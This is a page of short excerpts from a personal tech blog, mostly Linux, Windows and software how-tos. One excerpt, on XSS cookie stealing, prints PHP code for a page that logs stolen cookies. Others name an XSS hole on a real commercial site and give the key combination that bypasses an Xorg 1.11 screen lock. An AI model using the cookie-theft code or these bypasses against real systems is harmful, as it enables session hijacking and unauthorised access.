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Install Wireless Wifi drivers on Sony Vaio CW on Linux Ubuntu

http://digitalpbk.com/ubuntu/install-wireless-wifi-drivers-linux-karmic-9.1-sony-vaio-cw Install Wireless Wifi drivers on Sony Vaio CW on Linux Ubuntu Out of the box Ubuntu 9.10 wireless/wifi did not work on my Sony Vaio CW Series (VPCCW26FG), The following error message is shown on start up and on dmesg command. Could not read microcode: -2 The solution was to install backports modules. Installing Wireless Drivers on Ubuntu In order to make wireless (WiFi) work on the new Sony Vaio CW series, you have to run the following commands on Ubuntu 9.10 Karmic. sudo apt-get clean ...

Asynchronous Reading from Input

http://digitalpbk.blogspot.com/2007/11/kbhit-asynchronous-read-linux-fdzero.html Asynchronous Reading from Input IntroNormal working of a C program taking an input is done via the scanf method. The problem in scanf is that when we invoke scanf it waits until we input something i.e, our program is waiting for the user input. This valuable time could be used for processing other things. Let us consider an example of a chat client made using C. When we want to send some message we type them and send. In all other cases it is required that the chat client listens for incoming ...

Why cant a folder be named "CON" or "LPT1" in windows?

http://digitalpbk.blogspot.com/2006/11/why-cant-folder-be-named-con-or-lpt1-in.html done? Read on ...Why is this so?Inorder to find out why this doesn't work we have to go back to the age of MS-DOS. Microsoft Disk Operating System (MS-DOS) is a command-line operating system that existed before the advent of GUI OS (Graphical User Interface). Everything from making ,renaming, deleting etc was done using commands. Some of the commands are COPY Copies one or more files to another location.DEL Deletes one or more files.DIR Displays a list of files and subdirectories ...

XSS - Part 2 (Cookie stealing and Defacement)

http://digitalpbk.blogspot.com/2006/12/xss-part-2-cookie-stealing-and.html in javascript is accomplished by document.cookie, if somehow we could sent this to our page we have success. For this trick you will need to setup a page that logs the cookies that it recieves. The source of this page in php would be something like : grabcookie.php$handle=fopen("cookiejar.txt","a");fputs($handle,"\n".$_GET["cookie"]."\n");fclose($handle);?>Now to get the cookie to this page we would have to embed the followingvar i=new Image ...

This is what happens when you develop Orkut and Facebook Applications Simultaneously

http://digitalpbk.blogspot.com/2009/07/orkut-facebook-app-funny.html This is what happens when you develop Orkut and Facebook Applications Simultaneously The thingNeed I explain more?Just in case, its a dialog to add the application profile view into your Facebook profile, within Orkut.Technical DetailsIts just the Session variables screwing up, everything is fine. Although I could not resist putting up a screen shot of it. Are you an application developer? Let me know... ...

XSS on JustDial.com

http://digitalpbk.blogspot.com/2007/04/xss-on-justdialcom.html XSS on JustDial.com JustDial.comSaw the ad a few days back on the TV, so thought could play with it. As expected, they haven't thought/bothered about Cross Site Scripting !Just search for our usual keyword : alert("XSS"); and you can get alerts.The reason for most XSS holes is due to the use of Microsoft's Active Server Pages (ASP). ASP does not have much default functions or modules to combat XSS. Whereas PHP has a number of functions to do the same.Happy Hacking ... ...

How to remove a reference to a DLL or COM Component Object file in VB.Net

http://digitalpbk.com/vb-net/remove-reference-dll-or-com-component-object-file-vbnet How to remove a reference to a DLL or COM Component Object file in VB.Net A reference to 'XXXXX.dll' could not be added. A reference to the component 'XXXXX.dll' already exists in the project. This occurs when you add 2 versions of the same dll into your project. Before adding a reference to a new DLL you have to remove the reference to the existing library. This is not obvious on vb.net in visual studio. There is a Project > Add Reference. But how do you remove ...

Bypass Screen lock on Xorg-1.11 Debian

http://digitalpbk.com/debian/xorg-1.11-screen-lock-bypass Bypass Screen lock on Xorg-1.11 Debian This is a scary bug in Xorg-1.11 in which by pressing a certain key combination the screen locking process is killed. I.e, you can by pass the password authentication used in lock screens. This bug is found in version 1.11 of X-org. The entire process is killed and you cannot lock the screen again with the Ctrl + Alt + L combination. What is the combination? Press Ctrl + Alt + * (Multiplication key) This version is used in Debian and could be reproduced ...

uTorrent 2.2 uTP means slower downloads

http://digitalpbk.com/utorrent/utorrent-22-utp-slow-downloads-disable TP makes torrent crawling to under 10 kbps in most cases, since uploads are also slow. uTP protocol makes torrent traffic of lower priority. If it could give equal priority to both traffic, we could see better download rates, which is a win - win for both users on the network. Disabling uTP feature in uTorrent 2.2 uTP uTorrent slows down the upload/download speed. To disable uTP on uTorrent 2.2, goto Options > Preferences click on the BitTorrent option and uncheck the Enable bandwidth ...

Photoshop Resize Batch images in a directory

http://digitalpbk.com/photoshop/photoshop-resize-batch-images-directory Photoshop Resize Batch images in a directory Nowadays most camera's produce so big photos like you could make a big banner with those. Inorder to upload photos to web to photo sharing services like Flickr or Picasa, or Social Networking sites such as Orkut and Facebook, we should reduce the image resolution ie (Width & Height) scale down the image so that it can be uploaded quick and easily. For those who have photoshop CS3 installed, there is a quick and easy way to scale the images ...